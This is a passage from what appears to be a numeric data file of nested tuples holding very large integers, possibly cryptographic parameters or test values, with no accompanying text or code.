027476106243201969576912389024572879835171885532997001591748956824021244150, 3618212183780974790340347546674288732896684164971684354180750771210792767567828 549861404464827704258836519934569636626400454047853791175554241234085074943, 2457559619027627058834239231370680252402167311525880092658260964936590178407029 790222169297724243824883711389771991504258710103544308091261460414426708423, 7034536382792510064893258800328988700313721018977670672844654781818608684953771 132696873178254267959996907755158437264399106496392202169602184365627922082, 6885275636832052322716872974247969698812367367890504930123059296868778683557512 867661503244588310927389949141715191051433852109205207212226729569514212776), 8686760695625740062322603309815671579458482429395184325735818106274778778943747 076353026751102862107694682314542362217970174349200405653668180866528460113), ((17500532840255055095819294838605466303983750117700337343895477751641353286930 06281414049569658190740078559767468879640805618355500771478023075858407524804, 6495977304053185960333361154615220534721405126279728501728957220033781135919327 107312226502928981258647960593716868081227006191381193028691336339777881969, 5271777343483824023958834607989962181229223428861210972802878825550352298552310 276454014141432659826282949298898944933658164255051037420443509656708802000, 6450422693798559672440740919628464636672546233139380326011478717454574792489807 039184875486687916388245629703379973101242385800107001458022207159233929513, 1639612109996898579719704953866924516744367815640951956863137423267542266232294 489486411363719937275383193062447264119852230386034664384827352689618855478, 4514803912360252303188562743127845774740092748876406850039300644454088335390871 526709116146032554458385541374275896305509043347603674101621764979513644121, 8101281242737408343434407490280893414260944861775454712867459215298643310740058 098343060619408277452573979773450019162838340270104457803613198186990488408, 4235211088094780410350512580663718740690901974667785687874349306532866588367702 585383106189103235914797595792209130240563219924898127840818366468890212820, 1083504576172334272233770956568549413665129415001775417380638298151780263154528 155371379543792956602798372479994033110672468423623485981340894054644677607, 2317193203150823914352279454483833918093480359332415408847582832368723846450940 881175236140763678351870811378807639150467772624998727143949736429201482335, 5214651851962829047292508295719130440564270364580365746468525192705981466550021 767579502511550836004116747828440006733680721423703599533161540464014474884, 8301644018003477750944741792375700465459436206123336726750701673898391103297238 557760795525588195441632104148320481526670006544809800641790297667682504616, 5372865677425938785118351733031926365267659541804635385617514927054270097080681 910511473000854189284422736371159885942350519913607760271215756885956301518, 3476625662826052669320841358633184956052638672098129728262851677090471742712597 810067623615394207034689851282234955991537618392274734663665399109716558619, 5513143625659297756708805708793009439468226500042838478760096391869445039561620 912041678461648764502790464649480351125237464933013426880650797708552626007, 6950594003159751762068254559256236547734094696788635304290641152180532434169512 714693479139383239962574291674934594534148285580413661530146014090578501245, 1788029551935775329385699597504700486215697651765161815409517933815452721512142 964841146877413614103977055573390230677651150084586432572533759403886304667, 2837978317803702930609476215023383317554496760535681741769273819984708984721177 667671289997545243153144246942861680166047542767293470109623070968677884941, 8005489307944314106735887267170715344783928250980510388261421576561029984446984 515485515592861543009665898288187249322299229018094985671257014941905286902, 8516177815923537773327976486818667774227450111762219307580829785967574276887722 38663144124635038304601097561282204987473334880513864801489489360811342717, 4942737277021801809321509500873045275806297720173204236901730330344279000571352 955436524916398352117315784269057441783564154429156926630802129180338764252, 8251332271839937168342555042618398409567313125531217965905063604995103416063435 072538385845879008332938636315810869809115958292958615745994600931906709812, 4063816796067434309861429002317415665939674782337994098132622885655855414892146 664984007372882863027763344016228672596490636448566600829904289669737929346, 1059748846528576267359713181534330911837701324163252222274516582940850068905243 832725495130132857783630802376818677485834965523089978860249261081256913374, 2434205632304099694025929280168319411371750233457849087347884399817778552049066 645452095055142378154050457677609457728766336553325466361699950856631310010, 6864681181307397611168680503130661639561238987922147188235773580479564014666754 387098452724666364916775583397333459555358789610757783671211526460810857164, 5150392960837811246069802444409948596350528832285730499302886501577445256585276 620551479902624439920882569490898694233490897245802707003025328683010187215, 3672150173687317263836786068268266842108512938990646129703186942836841278710402 297501868557976391447707389958093962931272111564816247495112956813571417950, 4391276127784128795716699785302056858119198475108156179743153225476091833553750 787608836426087774698892701037123434899958697274294077115182785660054728044, 1762231289300507833757134387447933066107823604066958038165845379748401443842228 056810709129231985581849136942312748651860791133000964202429261385614872363, 5985917571625201458378826785771728468221094387482919236720775081428948086243006 610182705413626900781035133243127409896028540939407564824038079547416415144, 1735434337149756082721385421045770259937954099141516235368120864699480726309205 107752767215495889493510848093103332379990222090757656846946536647680096831), 3155302777747378277195241577667988714402608981607096128497068776492027388093823 578097330898802623853589761096280669403554854632577453428370037375806983641), ((39163299903529263202435312013996558099563164719644019710088175608400624285717 39193449601936653306803951170059816245077509812533979046870739953450772048652, 1982909676441640381790552947944471885368662927553762905275546751130098996313069 581967755018823404014031224796333709596921006992675272532990686797780151789, 8226653110999016106515901625976244128113526126618123061730701197422739415983978 205841620552573562276353971062093904086338992891401845451831813493984498605, 1905154040311852584687576008017269319871462941132194816687346050097914601851544 909912067232741217357043200499832365059136937596357545031867400438472193065, 8879854905389825558869574239569500929053755205043402401309422127955459418359126 364123327457546945290841217540305050678486879476703558142595019477946349016, 2002195553729292111909220270666592663349563540073546326893415417934270830479259 350200483426454588726876467807159004161214588992873340738680818129629785831, 8206096388730662993234874696963534242464973883664002176138245168496325927127143 890921528467962628262310842154270873727619307439709053432619344784516123695, 5462417857823550720088428505595894658960492411701294198419083617271482903317720 5844224830102929813789439773012444912862443096540927640979785288379133646, 4330634382879662366466433761516277936043998320852896114205257958925850384040606 354953631532864930651124362820641496703611076093206957589354517035294287588, 9390491899386166194787005200758231511441483538979363209346089766264129513640903 0252237436276614814752589288011508015351705098786417736733047666885668462, 3046631465116761554200593578076965924654567440684676950182282284437318996710322 251245417409835962652763851736063110018404806811106148340641046288469668161, 3994094042377357743012189750346635738496077436460897451895275583051639894798734 216362387987539661724743306910239626291797690234350030440889873347541174643, 7687115165390909774437320151867331527157446802934244926199627229312886042220681 984294247210156458927640126113000002709393694065961975426516514875872088510, 5985502332072479262536892048663602383643925313801568167587175825997875368149679 609412657095899521139613678923941910609629434026357605229533553189319697514, 8227739878330990462024346289732339297467946402024839837358162472546459701264595 029601750333581031211109590835957056737894309507377308567409419548714382725, 2652855039908545868653284225970981558031340367337815973418428481117293285106109 602335486207552380185551831577856126665652130551320348411993574154264311080, 3650084163205709116718506503876184241244127405644223382316686057762996980423302 343578949093037441835553344163388198275530592737446020742821547709206495501, 5453478603440017388653038981936544801543896360597361152325518868725073515624061 147624585989202251930228314478162342189973337429583721152356785156711900759, 8738796755813800158849083309854572215448993054141756990337552348981517613456070 029316175162846555525001323188022476757031184096335861245156668924354939226, 3878948960973482096682103195394477382436886068332683965694033610907955344999644 235071061514539050755767840833846653405774033208954282870290991473222216354, 6567109546519297253486183510346005588946632030069395184283875868163958843834106 156627205931838404106144634423065749026809664082996997312022749811507893458, 1966583055408107609714926268773160158799558170821987050115833199852852825665924 590915642135346252124929500329137621210739130341391620504823425036769807843, 2556283854833654808387347909442512943884995679724175403234525151797313196313685 326972532651792662189401495698299185999898292941693811703942616349613244501, 5797287951737722754853868526975658295893084039002664741405192415283385410736486 874616333107425169534343899073842537733327890816174664715631294040259494458, 2564691654019575196740797738252866171565840423016603158282981367842027382609860 244100858814944625657644692413484336013359633114383133575309566756594667798, 4089887454342577656311142955711186915594196770158042738988625689133611470431905 709920425346993937131688338017467126491954163592205851476471844537290223420, 2180663538891030553952378896251718914244589822782902247666295950502714604369017 842186012088188118344491063246166276476955952283111885822094457985968734434, 7763064570995219800698387462035247673383213667365821190142267877824956302321687 159068840824482573761754316090292828092913372846553442888244478962803286581, 6545354690761530465345220872305230039593392309873031631037206445134601948273107 685913089519841227107411792515557830162932750906630489074164511273465134999, 1511362692124202826713966802773811131505145692974956768029335343256710278615484 62405907509364232732354509112417181122901119028253760205175733050596180099, 7770856164046816196235414832863561485018380392862825341437098173551613006572836 963769146527750382915749343805585140394253047150100905693637220029528989629, 2262612105804661972013938156053961071884573496128467281257338239343038932080859 193868000482739363868108951341981670863546455135606468601476151445855734343), 2717168518960975700628364474829754864708320065279543168674756039361662946818502 056612081002240107636104684934292557564278462430905936528435931661640646736), ((31522074147607881305059392028250197026348141595299628392630007607209367269283 54284803412057481711012862534067405622881940039588205689764339323778654350499, 1347502623097699754184766557321320281990461375338012171422658844879158784707697 080306134117775808222134639980006624470979376992832621869191872358629143492, 5341899688758321271452443527614763908636047997431710351425289434631125667749861 992587260921567282672410182862409577329801131394015926795027258541336333750, 1536750763884314471949759532891852488049426722231112997147685765840463786618202 994561548440762210467572087673884211243985168364824373228475987498936338514, 1429759765020304818081380713948770360381380507279504740264016030344661779737534 606348230581020164826820056969628777592571634104154542655743053255268871550, 7483092403179846896809573088656774132304682029612710173773080331373865672730454 175556877637453014684896859071540711482061355447821709228334625691738005260, 3154181574245275030116750926269635422136866710831530554965506466742107838942255 635225941689728486305458941448779720898242877032875452824811029537894282060, 7944895226241286910690009919535204989160171436578346957534632245306138317387132 441207759443303860858277526172171488479408711872146714644985929616153115408, 2291149584742721130435504878212814968585620053343037418996937505263464814519858 056955488178934708911946100870472421082679235360668359169380469905750621617, 7093875193810667508118789053465380211916961197630408365156014182184559735607631 462721583239539575894073584933963674889924008399747101381212938774869146966, 8131206744116418591971156983922218309345117620104740085701356366687647190456512 294959814988531688732372379487347114917430273683380834573067048752672618901, 1607507236661996830125610475530963918559465631772072928895764707507497297341451 065612579562705903415846644896077728149058318842659490527891801258217731182, 5645162246522880776262549400018349675233197264802879334500359829498847138313030 287639343029167153425445298270683953817126776670490589283433999690465251170, 6170956372578019960106259210273378530180091787462898198398922275400296091832160 893735767387702669545416202012033319189172764929544695932362632085854465876, 1772548007204911040474257290953319600326104764425243377917811010159956545583046 494346039010457192623540186445469669278253804689083858391871796916346454350, 6484995170737196104732658754337120464625540203193264378827458185549091254746908 738741262787671245925170992627863634423051633557210850952644180119635019475, 7845790593224813216331114289024978156563423988080940389230336346432794479783977 702812910393399242316376214204255548098591896466054305809743195085959889003, 4200297415263914640972821503877396186263557589383931065717088999676776587178238 642806437217407522091769311220207588774633794788961143037834154756689585156, 7631561247894366309459275171021217952448866129281585290566066653490572072545343 077169408728528960024928441721167847211681069695117452919507811675269678707, 8490179713047307629715149450947322250614810814561493706167499650964861216644435 182517581989945638198630438783907367339131162935553301486869687818299617434, 4506493222931757159821842921640091692335918933738852291304678012702494962492026 808828865319151867243268846608349986470787246342225933164444935019976250524, 8530745497414224281156848981923599524729892011377880091298979840247846520276461 060359745973497261853542063672197543279828076770632257271121088575180273416, 7312425182922976301716868683405020692336582665523920474621319930521491046685196 072801679731582002261347623225299200360813995209577391116635886559078297095, 5693111826362294909376469485098367839509060774568183623037668765495283275972915 848229793609617785401725676147125378224567178124588442730544364310450400640, 2375558064630656648465804991524769998696003028793393483262586613402595234288250 814415284192533946429037997990874664576038743879147666647700746969745788223, 2850150126008365058794232501701553247264433571706585505655323905482247821606600 378871574395286636476915631196384637452596263597848559363765469328749990005, 3522866709586526863645334890568259078564921939614078979460122641156592063966114 327767948999288445775166490220333519580210945896388810051556803729343345375, 3314782352232001063373702447346047201101914123879296537973205733080927460576814 638269026145944017908993992736383786399888876033062621856465222225161068355, 6794691703653783806394208658028873598486605460312164844826300890977365867620565 965116951351168248155853241183818197139117131268790093669133715864516916090, 1109393472003536803471530210529309816308683487736486858342633953909168068388860 498722552721652949192795663548476900330094911469272563655527126991731013029, 1241747553378571941554876920158225295661056153464254090361346347295446031873521 882680075110798780825194679408609304936723378880934043022862435385570628160, 4508518990791414111088279381065857490672683937895482751794517575072544633138927 144784538728527488789780341364070317126964961485154020860824741101933044198), 6240477601269388613023723666139567342920058900890417966605873113901952222461999 495221210898816966992950170528780763729192656022710183333300175755216094529), ((64548809451388497280255165078897435340559310240871182896923360700216918084349 39558432246160660522797865168346606683071655038769132856493935381389758697254, 4332534113983687068395922802391002156426264696549523341406653396230632032913148 294068146914200640075455909932301784671988909560698492263270878050346377538, 6470289223503023954785278567321442835027035434357739669669995371242757356834146 331083681145314410333056883603143279676845191906994262797614898964531891066, 3350865612957444801526958758421204237692747080322239227593250994054466197917007 966738600196943714965138664286369855312270758177399902038796975141437418783, 2739257099692338908849245897059627374066727717499231775181309575518025522355288 586370916233052882744134501368904952873836919795474559634391570485829161217, 4651248111861206968656526066264719757274853557028276529706293433754329621065142 705958829360783649927755576267769217340697028616615419648586850100700578773, 3781230435315493480337653925786362480406051238343003570459459236147840757280681 290463870305674367242429139395084885842668780933560233302769974903861027750, 3049848772500027635827966916811857291120505804920196859030269653858955353453618 401436675801881912518889178463382294635274218599807816702782539970248979875, 8385675093589159782456608587376884499179997876141011463615111761935823245233735 909500255537185110827201290990647627625741421340884438389701579482441264080, 5371684576936853630492589814806897273894858113888886598892585835427853338401394 620404894381788323109435590388342135821481044797715073071305609336327540116, 3732569324537094562270545149300930840486234313290207178240132297312815144753863 077041157937187408163198151045990513538997539993723849459003927730566584096, 1050910675204248690301975317981658582325763816779767608337917981448178300222921 845611819662346809684895243374339416076568646673801660995893401926887962233, 6775699475710252073011372431624515657297216347959214625362864081921128394032644 664934563949277511732134503864012055408214034168076297703463929257717585685, 5128342614119903814186149052066184421445015448755710974057560945375686628353686 91521653704578043262103448224928477553978520049212658680192821132206555804, 7162879018579222443162043777862864982745360982154577988469820570048862179734814 433205341748739242329005940792139901554011967170253655047716296911968507300, 6832627830517973145093887912308695003640668449874396998896865867962310558287359 027220268550123425681550620893343434867482314772255038020048762062496259578, 3222498052335365823098048562107355258281032311918926433694584748692232785983147 581283914398221062599163753523210564165270529093156416523271023503270148714, 8689752755453946215517083465113132018472921257447386853959074992256246603966714 448276804263265139009467182123639978012667698863007474852896812562099664330, 5234669781073774445089440769566076165202047168779587286484347000780680228125335 173870023797453731420032185901210988314480888664160213311280907342143500761, 3956341594869260170093511241711529896093367949014299980381266092174513987826639 518821037278774088575029344589665781318354196035604363687365223613150355717, 2032184958206364409957582361324289424155143412583422207579266061724878475877652 224556643230626961944672088553289407964419686358002819312873448418760937018, 6511823167509428660644562681837224231256946899605695094278858690262966581031940 203223233918561249642956711081710950667280493626525656539212298338542740591, 6251991945598818283272280324676796886983791514620569194822230986330602328495380 818708955146004336029517143566124609300213721204779899000000942067966247102, 7527769797702721886157194053543200925446986068150751786810979345313476083050695 159720612267470596811644009582995764741329492264121339508736598337551386147, 7164224826594404778141981435996569288786144857603900242159044726392124546201070 805400098597451555515952471882274978107887276804201438988790162457344982925, 4575113609286709991651001337198767172865810796900101133177079242631358378197342 018080258003152699900659185169336987359754235004742689357800781153202947287, 3822200466870448791737215965195159629443339241215165784618757865480769529378021 123387730653542223104146065902621626953814536014460973856247988579927751987, 7314594195986126769824579653590718283259619086345739078971192051933626754937400 427163384027437709791370124193261579893688582912337594287526979521888120862, 6936523556261217517578173988100103926994884591883678825459800491344700302485353 844264388050790486449343686338565117766531754537121075520348563742492839979, 3731630205939086829170931220094626322200140559330398752084864371474636792431965 517044481530322281131808751992157051295364143227122879468386128614871717618, 1740222903103809631184248805142456067330892204901389389193394158026668284324615 617258849414529706722922815468147163889234250714124957469043720613260340212, 4592808416144165471551464040761939560311670465591641406067804916353698591343532 475608600644008477582116383501850911945848463612868091045645323106211469304), 9769362474016057423871508749949180186803586548836092909107040793698149103743037 88413941300651265538962473154187889317029807509692698680340870542869958507), ((41959956505488516362128315616574299238226514324292604158248678827851933270297 59110913936796664595822184880471047430663939342238393925040008597775344351583, 3857874136373633399191128799539486853438639824120385371475541817492396729568001 668391774927678653995026751818368719088081841916813891164484060701615877623, 1177835689606833124134596012585423034767448617074348925833383731562171662320555 298678761455109585706293048673847245207475452919337267365092758248380686337, 7340010745517787343141503133671156153834552157404807891156496593582583204374356 049745747507593954239575291534772096766176462199347441041330024145145226, 1195074529877213055447495785924274922828426630538562002613396652549662835627114 093298698100046065746533022327283567631013116377930894381211400180696334162, 2183306119645899910979396727192490948835304406902534136952818348782940063209755 363489317505353581270975469136229695868756192510417809027471647031465876708, 3033667558478379771712293655380471585150033516946503188786151865327569746099613 334017832472422811654399930298008986776816059033029275956950222780163616873, 8440803555003714178197673470413970746700480713983595099686417227248511906108629 803307952001124618952556732575155155344929710557207068970443589584947951603, 8344788181384711944290784454775663005804844221335746695486373093521330277153583 386485625881207570492017764613645796959736503698510480032437533844967216743, 1871480066955179382374002260383893788732167458814468946725633950370365914227326 76194698597392110491566678903469287569868594755813904095416973917365744204, 5067924168317160828130155702646535107195876001175512962292950897886808956459596 8018151818664953818127455540496449361212519649599085978571449745368622981, 6013985970437117830799811293416548395558174125096121175469430364489358465288474 174601129949347896223344150861461662889970574337565898795795103995116297393, 1792364680666030473321492557574006122577233834834807451166019402738186658158553 778375470897442636773081499655962402422212205808219996598338317752355439391, 5472074848710247974671376626093695396355974085860823015093575859191840602968489 510205526770521213911327689440613425511685125276486921231616689733933052766, 5748274419508772008458246443314615823664036405915087588530202453258718017232382 816446263117484966996424243479475162106449476623570251156934686058103305959, 8363361791353743339431311586212003942635271048331215709874748584433838571308718 236728975065088998961613183635248116539352724060079732441553758274929823742, 6217159868408140702676777637711718871176392297259779786467465479199415210639245 553840589177314403950742184639467280746682474891431368091731389476019488204, 5712847925265465341212108982359603622767158907626458510991348065634168869687145 97863417420887930743785195401927637573941265241807059748857341932335765582, 5118646990812166969150830513499657435538914418258782930775088378536942791041516 045928880222336588382982404672655196383626083072617499285110988575375013334, 5282908209305927637471073455609610442967822704469447120498660720649546551756855 439292185440762905248630998583526681251807898990680760472664548417218977959, 7575457925967622345783205979992641186921530179709646634219666901722288723379799 988489055446069549242222043866231147972465441426592896872688928188143763652, 1205731875890795014432653335432586206771452271847714491005813952283102764874767 544678055138108811398345526975104726268354796911110825989565943087398445426, 8933789662772133829312565065914634770564522677012996766234671443468739133489854 65135758695847029999484022796894116055772556760537347316011757971650917121, 4981307933933624301651714177363254779769175711452296849091295599929740006293988 369782657110073696385701595291124837291889303550869187409947139670767743431, 3128337905120957133065312034512440686321705116499083833346520101963518162461422 538277216579632132946939146007634649644692004732405693863283671897382561669, 2907010954444746276508838384501512651893088964958469570372989965647729442366569 201192506682868260488510310916188518895793626728497861322754342596026276371, 6316321030076293617927559651853354144325980619758662489488755307654727362613278 292555009952999431112305971970578621066353766895082802286715375929908557473, 3325784662151032806547766460904229050092636342050710400163802642281796500489526 012154911744872345360857621760429213886061092617756961668328915802677215331, 1444623162930761927853424524531320570371214110377474450849622966003650873939171 718577693600018306639630498425058422062907078941983287630282004884159452936, 4992195936635436412542725312926766064798438544538789345907692460192132013455092 990632618664357346660802555755728031850884324425180932130057923415396827613, 5247938899049083337965879543638640240403823352593752268285270242971050152580308 448876845335289466630180479024915979836770966254340773183830581239253606749, 8711962876991013422065975048901506992525390575669423743635804548529009803972726 603756694642230868722175116449990526928692288648177802261928747632618205383), 1688735425680221440518773988955401133761364861201134260393386183734923380445338 961182430601138294082635541038020180716631391914343318483529465475521480570), ((38297120339523971333822208814376403009673806146361330332194877716407564297667 49214521984349287578083631120714693704885911098355292355865067513478037916123, 1829883348851610302510833390877091038062969930719736702023234337761541343934625 399765751675021166165154660321580019113221322552836132352829116393371460301, 1823358737523074824657661703569578905837274777948163302230549780398865527510109 410518790967908312738366838690747817972609102012009114542693730367142844097, 4074591745606289236478686009224546967767273645009672531238547830476361567769880 866151859787135859926306893929739590624761433361629067011086711843575357331, 2077707110737701814966728320465088594828542722973520076176802565552484450740506 396018691143317867554472845967374174354886678985542942776639615967929626581, 7453123140258876214002293847505475546835980442861212550932129984864077201848990 52201729408370446172073798308712596021503995686488719324982486192962181134, 5586740642373152900897559851450401705353293364975192121642334551772905472953267 540002684843678619382707946170172452517961929303041771386402951777213720780, 5453680898717236422649732217155813928419241827976854747422940766898494686545571 85689984990516899424698546073371066618317488442259942891304101459406105932, 2449279346557981381870028698439472750186465424436261250680858854524201966753479 865153312083211567736645031358927852551418639774830575970504088401925071015, 5175723805208434409323867172960321838092839462076479825075873476029707015015683 110081603988288091442874459782430556239387489363747563383632620273383627252, 8907726238879693639152404332301429640475194678858756664694289404414507662760023 323169389566038998560167854768897106453939652612414054212331496122946021335, 3359036380564164037831776043531824397185533632385825023823815697801577113516830 74081820488764033103871960363278301869843683637200560523551126650703871072, 2251318033878690795567161397214010583659668358410093969867813188956326763646251 315655314848635604419378091506999434385529845082558667287877775771523296696, 6346269808943597090689314015133638280528762016092201391843643693989047835683822 913383060318710829885208430113103378913886278282668562813305325779613313477, 5393103179114671784316064419790633926303162283829102858487571392915692901301828 43597436609389010476762711945873689973597835506659732987423908983079779719, 6591010008274710897087098548473101975556510527203307112246483419062691607864461 878360784882980490660507585919240642397520952125660771023704982064843691971, 8893754238510641615531378935015900052582043964337580643197644193102040868911144 811880825364205176385124569553107315151987150995106931641120350311126935826, 8273635154871304899992315112673828565748391260881853238194025404616889869022640 898259049507310890178185233614258612170556534243234378126903267274535955229, 7850801118031041473386002533385031734471868921444487622378063928991288894313478 274668273721664018447295241687151545643633472299079451877307264045274650824, 6663405020871606570517182251270886141491118514620570996798505041390222391722604 000835478516369343175642811312009413862096930077922242436519383633567478559, 2811995422320205587056950798998416361224825183094288556439359702644864616660586 780643513563062207117728898548014287828634148918216683272645748045627643652, 6076182132233793981331303284604178945236970737705079326921311412151813656491802 68830396404400024686573924767115530759995658639353013865691391873159124570, 3194609425548698206425556232264388449098450481671280547973172051760952328830246 052113347946634957009225429481491795275691148904830716611886495692050528563, 2337462711505820148201522817329996117961489347563161142058649349532864285434631 209594965123177993756907518802930364194492461406522908700352324602962015977, 6676721987845939915858534341874235584861052405365850710448549751781849588348364 779051484835559756293355225038654000502424463669368496906084451781374373243, 3362398981636303753830563243827795716282034476648362415880362933806172829229977 202140578860356040792039874309216752969487816543304141762136293866843724927, 4870236928003484730404110045009036655187527667720034295493333340893687574547667 83713620436572957141149549105555159950348361182346690261509982732186437290, 7192030141142939276214219733615199234383834624560794828307945915036757393816769 377108136290682474029950828677056815854303350507159575393741197357812746640, 2581086865400622522035562353989515880131887000509744591881773821550425215018113 363061829102306221162315439793880522907580752786953190541033642595443291804, 3698921080053085658865022933024112474418310600449819600789940871503626434352785 090721578773651877618859422321864500147896209430926002236457768479134718248, 2810658965482839425913983767328140369879638577740163085712922148851710383052320 264015383579999842423645169991927179301175267657163586630945493801368429358, 1024679593090941835295905839317854275580036973101890020864501906202856068589280 706852013603872382317485862943358753750039457969434776447495302842932514077), 5437544836293704301315021410358571626723150831584044389347415991182381125494527 308921167579129495819481117978827807042093779977614875158749917174537970848), ((78211282310203392211241758555457318610394229313689162791600472219056545498374 18906151135518768891029462435340140588526294835536050697240975873321285582424, 5971239327031523599427923593273860429471907199317733962822866457477589804171503 259087582199319453906597483516388444920444129339609898182651342300087714784, 5023522174822458093684732003862276201253773096484608733908551050304158271432545 838497131394439551757546874443742536245225512334923148481264443044985681803, 2314176170514373489133516921435732485360540597978888246913454216576025078229468 150460045781838536871816267975374481863630533110782340094088315412893168121, 6221587225678923431692724776179284245996319289891892343047588814593563504012292 702858177990351112252881595257544780773405898583078241017567747812581187984, 2206223578642081493176360936118347484859760963122898243791027201882126481490527 097643266767441298815691819303818748873726325281083811972579481533114334537, 8523811219879276735799923963511728296880547586842615332897360948299413788092302 21410906835162391482734296423189170419081989282133603142639488759336597051, 8473536178985467353449574458522552792110479763269971763654874338772659641221002 110435792725427077379274220747901817184264178674804430136437001060729923152, 7502246250829300094734614129657482381165889974935016230208606637833699601006012 448330133427576072369569671766975088449121452171095416787820822022480883636, 8988590467289790399276811470908817462035572455517166308206032225340327294848133 631978091663688368054772679103402248949445602299106954772764411836183545, 5707541209820856920834076022279668238838762661784443367920630728066377519667762 208041078933895561733246229494235299513384835260558015598686409263774564587, 5406378352597182053079461766562161830116036577235227986054780511158520358544122 740478220497400236210999952992900099156266364086193899675465131073489655832, 2061753672631013080639762479177950806974265156626072519741429332061523486641036 573280637266892210292066925364679034796159661372299103722806749739834105988, 7709183012258356910109454058805104827906636721561498106056830465522520944244327 625677987324377897363639163041327469401310754189837070371813134458749645372, 3954424653898292533887372683601269998269114160704567251628836240697505457863889 212676991718580403067670907910365328032771236398497588004020550660500016863, 5724368554759005945237330938195040913111979769692184078247011411041579791111954 801726527243379861501102881625626850904115482453428934375766210438696110831, 1103504511024683836213952936651596796266215979780630156015460908315100096029226 536803684824361550566728188726878656051690116017696791809902525032382388820, 9694441803054761462977234480365143506127142162549880358705273781499946218073479 07720265767519560501233500613864370593481120135430940659473794967583392757, 6646348114815952301134625690484234093094482946374865789694360130714740784885482 254152793812197863785684103877507382721594835809812918497443888724572795180, 5517579584558117186830448709997770148686732844581816777507010901417286977483415 860810944177952461889023924157743062530530020712069260869259189007612939741, 4233143491661662569739497222999090335973690222958930989950953200167579971041982 162245191255633320053652259060751310633947343703736215314579244040668492173, 2986933240016339145544199549685415236748247163519146495356039815667319438847813 359720827029012076041198690436980841164871394597860856568513194964380079027, 7674360056561064132775281028276392684990750777555040714869235678341977903106279 325415375731408574292435509799252590096616810699210780343774648033691360586, 1721080866618833224479399358761570522934412532648968888766855839008743016867944 438341545295716205639536851949465595388945848639975257599930049175222052882, 2184050228659953439312157536136037188120899457659001305525195605028369803650388 305808970465441207772248700016976284039671673549321744407454604081646272364, 7176876862129845038755398067841237229091434024267201749068953032930987070049124 734610554903328871877728632494192391647344454667696021783807335359278435138, 3779321244810745593709138439661373945032065559561076816620695479289294630340802 25907651999940285194488709080379820905174821734452942708255847372112150088, 8648761292278055748518053876526883533678038763394890740691814283540016373468395 764179026554798897325452032884244847165588477624363340208374666963358697703, 2568020617635106290158039724425750630626220792440927908292450155489062004245386 643673889010261696810549519087576577072539882188655497871372041350194462279, 5366473258545033396047708770675626353013549950251232390087190611485668116626087 406136637534449004509438955044587210914138897770285892834729137079050007146, 4327686508642224808507324862706125760411528588307307949983852375404494139209837 807037068898767195871647901954030383216731671448589051589419231160486569600, 7808753428854123419965726318579612405720770023678519843908087277761416897168366 18041893841881325015427331178164326478340964981040035023551203536977497745), 4254394799672725731792329084878427241565351848605616048823439823103359936292834 787438322009443409550424697540983372855301067956285296641572464546223511232), ((80275639579553258373699589105183619620114938518680324288459523949937556352898 76132990312170477852567892147741845699288227024097398749509618233757145888806, 3439543717599500884664530553454483858941274384697522813806148634323543378184641 825437177633697768674612298889296769049461745316816127266832654701762499724, 7775192367496449631700569052659913434320511142418829008508398357530993281923595 773589951108424441300685030520315341043485045844850564597559033700765183284, 5247776124660458424122141122402547708927171476768724795886993944747655163552418 926195883705629041149872797837273204084903961249135009823285957164766880526, 4220707147539977820703721863032111656979851408165970298451280693489123064054122 107370683364896288598451976425097254906413242246184947932497064977036392912, 2426637411547904243376590399073770249254415182054841958733391616944545626165981 670336367662075816313341261605977450414453415664827237324679852874107065063, 6317525400958364077356583065009810419985823919394124512779596143264365419700894 68043226931198675603394736962130908277661466890685069856080941035105099914, 1135587421147174904667264621054786413896455303093292422382829587629621676039538 095029133759111309067373241052555630147664496820361165485617759854082086303, 8682047413163983165298556235116145008413036671914336326893137538069315792072932 381823754379612697600816781095949618388999389364368426155856828013958863978, 1475250059173048502545210955908500193308517551799497507459432949362097241870830 243697853037922874423047688759456447504561018578781254812961039056516223918, 5431024416793567277972641513990511447734012384036598981131775420937534957773272 453504963814452986266394274900536040135665183042615938444927901584592757961, 7145061322337361803904743396516209089665368400778391910954742917272029218539180 590242778049994703476878131277367513111343999290439617591089443504461632998, 4214237761175509790056947120092670673868554113392975641073674791234889067962572 364168362941063972000786148181551540122462418428163468075150979851924358264, 8384696344859547914473495190601365610751697426198005138651592080325131452948061 978888987590939465438648101278713792715229503677001968346820267890940104255, 8324810338729277955783752986715825464059571607103102598258727263620730838465315 483163708184683111865211946653183409246861841250803499058129647009088588241, 6694987112880248088999033803944083317127568434025229135480792626185673968104940 849192036623687556998210658947020748773091547836037281174814500052405585592, 7624342310665858370037792125509132778352126907125599906078119652315604408781425 256946144208745829703243619154547326767172732182458143208767312350448976823, 2838931520244489399831630827357011349451187678635374453435258904445720314225612 383459107269867655335430598915610350837880780114445373219889638633796132739, 2467067507031159574260819594895194907167766823983659920624932681729170490362018 532404873341643858600417006898893031828668757896475980560338428741863555833, 4422175434256270459557904948978571287342391157681897313609149048059527208835714 919796415590187632031686677487248007840492100641807860061637937418490171031, 7573097328422021518796868733766773620203325999314131385362527419859836073037954 492179856765500538029107012329538458900869566237943985456931033823649252256, 4374114936871916511851203056221777739578799116862767824862192911983380987600555 323950142735590726043614356304401129107681596044514062626177670264547449637, 6143136923546629072699267167011606427951371074026343681750640978501718813153570 569741950735208022152153100696977521699386982477093348899509868811481965163, 8706951646336587500572723591856675406447817841722763770287009528425263445943538 599305398865422874311719967776212259524428112027464434003228291408217336075, 3038892870578088511729925627562086785575653548288402370128578118854390240200427 645194746182154071858051164150772191239996554937931921573188819790924028906, 8403408437974083526375650495319832343125740928224186333985580220411299766584327 20563496875603170476731708147385934139026220761373612016883043798286634421, 4738241310118480510422338552627007204546438381074002178305507693770435885111477 562993008930989751128009260524835885817427740644319386007065661962170697431, 1034557498040346157409800705538926784434975634214322725102963283664616695295715 757727840379393062088045089924660682988972216445767554230271248178213595952, 8307827337802090950165846730830059076794953995121987120479929637702804273935407 053354325382561065259640999302238132160207364004581141160733663076840246753, 4028422634191728652779682854757350636089265994264026220656622359879721875785393 539035516384019242521571550240433579588973247645117798017557440841201424452, 1795016191742358143140924424694337084771464943238703063391392489265527945205617 640575830610077894912615487195703295568862183159211545750487703533698346100, 2412833518082744316697547155707357668810856006752480363398064020993931376237576 493031514640977517094899378964010793402673513858744413670592130686925362531), 6055731702623327669050283658017306949059313217060793318041310706439702098710975 495586046479025677720740988430395879363593135949400047350578961065171061008), ((36348840152702164031860249327369941973498333614189410572386224857253729339183 07857086041999714063238522362213767646166433969943474629647950733067755306945, 2066581411315137474212077326090053399733195839780663982460566622764708411509849 072899758932697251094602540115933152685332538072043960742557039676813831043, 5121304105118327183471159757860012721945477941629782105882199807416819420330039 657787239509539805792078102323452855679530701941675697346507185271349879744, 